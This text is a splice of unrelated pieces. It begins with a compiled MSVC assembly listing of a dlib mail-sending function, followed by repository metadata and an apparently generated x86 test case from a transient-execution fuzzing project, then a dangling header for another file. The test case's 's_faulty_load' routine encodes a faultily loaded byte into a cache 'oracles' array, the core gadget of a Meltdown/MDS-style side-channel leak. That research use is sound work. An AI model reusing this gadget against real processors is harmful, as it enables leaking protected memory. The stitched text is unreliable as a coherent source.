>,dlib::tokenizer_kernel_1>::~config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1> jmp $LN10@sendMail __catch$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$0: ; Line 129 mov edx, DWORD PTR _e$151744[ebp] mov eax, DWORD PTR [edx] mov ecx, DWORD PTR _e$151744[ebp] mov edx, DWORD PTR [eax+4] call edx sub esp, 28 ; 0000001cH mov ecx, esp mov DWORD PTR $T369522[ebp], esp push eax call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR tv760[ebp], eax push 129 ; 00000081H push OFFSET $SG-68253 push OFFSET $SG-68254 call ?error@log@helper@@YAXPBD0JV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z ; helper::log::error add esp, 40 ; 00000028H ; Line 130 mov DWORD PTR __$EHRec$[ebp+12], 2 mov eax, __tryend$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$2 ret 0 __catch$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$1: ; Line 133 sub esp, 28 ; 0000001cH mov ecx, esp mov DWORD PTR $T369523[ebp], esp push OFFSET $SG-68255 call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR tv763[ebp], eax push 133 ; 00000085H push OFFSET $SG-68256 push OFFSET $SG-68257 call ?error@log@helper@@YAXPBD0JV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z ; helper::log::error add esp, 40 ; 00000028H ; Line 134 mov DWORD PTR __$EHRec$[ebp+12], 2 mov eax, __tryend$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$2 ret 0 $LN10@sendMail: mov DWORD PTR __$EHRec$[ebp+12], 2 __tryend$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$2: ; Line 136 mov BYTE PTR $T369524[ebp], 1 mov BYTE PTR __$EHRec$[ebp+12], 1 lea ecx, DWORD PTR _to$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 0 lea ecx, DWORD PTR _subject$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR __$EHRec$[ebp+12], -1 lea ecx, DWORD PTR _msg$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov al, BYTE PTR $T369524[ebp] $LN8@sendMail: ; Line 137 mov ecx, DWORD PTR __$EHRec$[ebp+4] mov DWORD PTR fs:0, ecx pop ecx pop edi pop esi pop ebx mov ecx, DWORD PTR __$ArrayPad$[ebp] xor ecx, ebp call @__security_check_cookie@4 mov esp, ebp pop ebp ret 0 _TEXT ENDS ; COMDAT text$x text$x SEGMENT __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$3: lea ecx, DWORD PTR _msg$[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$4: lea ecx, DWORD PTR _subject$[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$5: lea ecx, DWORD PTR _to$[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$6: lea ecx, DWORD PTR $T151619[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$7: lea ecx, DWORD PTR _config$151618[ebp] jmp ??1?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@UAE@XZ ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::~config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1> __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$8: lea ecx, DWORD PTR _tmpStr$151622[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$9: lea ecx, DWORD PTR $T151625[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$10: lea ecx, DWORD PTR $T151624[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$11: lea ecx, DWORD PTR _smtp_address$151623[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$12: lea ecx, DWORD PTR $T151634[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$13: lea ecx, DWORD PTR $T151633[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$14: lea ecx, DWORD PTR _con$151653[ebp] jmp ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$15: lea ecx, DWORD PTR $T151656[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$18: lea ecx, DWORD PTR $T151669[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$20: lea ecx, DWORD PTR $T151674[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$21: lea ecx, DWORD PTR $T151675[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$23: lea ecx, DWORD PTR $T151685[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$25: lea ecx, DWORD PTR $T151690[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$26: lea ecx, DWORD PTR $T151691[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$27: lea ecx, DWORD PTR $T151697[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$29: lea ecx, DWORD PTR $T151706[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$31: lea ecx, DWORD PTR $T151711[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$32: lea ecx, DWORD PTR $T151712[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$33: lea ecx, DWORD PTR $T151715[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$34: lea ecx, DWORD PTR $T151716[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$35: lea ecx, DWORD PTR $T151719[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$36: lea ecx, DWORD PTR $T151720[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$37: lea ecx, DWORD PTR $T151724[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$38: lea ecx, DWORD PTR $T151730[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$40: lea ecx, DWORD PTR $T151739[ebp] jmp ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > __ehhandler$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z: mov edx, DWORD PTR [esp+8] lea eax, DWORD PTR [edx+12] mov ecx, DWORD PTR [edx-1420] xor ecx, eax call @__security_check_cookie@4 mov ecx, DWORD PTR [edx-8] xor ecx, eax call @__security_check_cookie@4 mov eax, OFFSET __ehfuncinfo$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z jmp ___CxxFrameHandler3 text$x ENDS ?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z ENDP ; mail::sendMail ; Function compile flags: /Odtp ; COMDAT ??__Esa@dlib@@YAXXZ text$yc SEGMENT $T374864 = -1 ; size = 1 ??__Esa@dlib@@YAXXZ PROC ; dlib::`dynamic initializer for 'sa'', COMDAT ; File e:\library\dlib\dlib\string\string.h ; Line 488 push ebp mov ebp, esp push ecx xor eax, eax mov BYTE PTR $T374864[ebp], al mov esp, ebp pop ebp ret 0 ??__Esa@dlib@@YAXXZ ENDP ; dlib::`dynamic initializer for 'sa'' _sa DB 01H DUP (?) _sa$initializer$ DD FLAT:??__Esa@dlib@@YAXXZ END
73.47348
2,714
0.730513
9706b9a59ea4e9c05db8793d11648cc1a5a258a8
6,555
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1184.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1184.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1184.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x88dd, %r11 nop nop nop inc %r12 movw $0x6162, (%r11) sub %rcx, %rcx lea addresses_WT_ht+0x5a5d, %rsi lea addresses_UC_ht+0x1499d, %rdi nop nop add %rbx, %rbx mov $0, %rcx rep movsw nop nop nop add $5498, %rcx lea addresses_normal_ht+0xfdd, %rcx nop nop sub $64098, %rsi mov $0x6162636465666768, %rbx movq %rbx, %xmm5 vmovups %ymm5, (%rcx) nop nop nop nop nop xor %r10, %r10 lea addresses_normal_ht+0x8087, %rsi lea addresses_A_ht+0x1499d, %rdi nop nop nop add $36057, %rdx mov $57, %rcx rep movsq cmp %rcx, %rcx lea addresses_UC_ht+0x1779d, %r11 nop nop nop xor $13987, %rdi mov $0x6162636465666768, %rdx movq %rdx, %xmm1 vmovups %ymm1, (%r11) nop and $38126, %r10 lea addresses_WC_ht+0x479d, %rsi lea addresses_A_ht+0x1349d, %rdi nop nop nop nop dec %rbx mov $115, %rcx rep movsq nop inc %r10 lea addresses_A_ht+0x1ac1d, %rsi lea addresses_normal_ht+0x184ad, %rdi nop nop cmp $12838, %r10 mov $72, %rcx rep movsl nop nop dec %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %rax push %rbx push %rdx push %rsi // Store lea addresses_WC+0x1f81d, %r15 nop nop add $53711, %rsi movw $0x5152, (%r15) nop nop nop nop sub $15136, %rsi // Load mov $0xd9d, %rsi clflush (%rsi) nop nop nop nop nop add $58787, %rdx vmovups (%rsi), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %r15 nop nop nop and $27364, %rax // Load lea addresses_UC+0xcd9d, %rbx xor $38721, %rax mov (%rbx), %r10w nop nop add %rdx, %rdx // Faulty Load lea addresses_normal+0xe99d, %rsi nop nop xor %r10, %r10 movb (%rsi), %dl lea oracles, %rax and $0xff, %rdx shlq $12, %rdx mov (%rax,%rdx,1), %rdx pop %rsi pop %rdx pop %rbx pop %rax pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC'}} {'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_P'}, 'OP': 'LOAD'} {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 9, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
37.244318
2,999
0.659344
21e0407a9003455e3fe5d02e3b426bb039b3c843
644
asm
Assembly
oeis/075/A075870.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/075/A075870.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/075/A075870.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
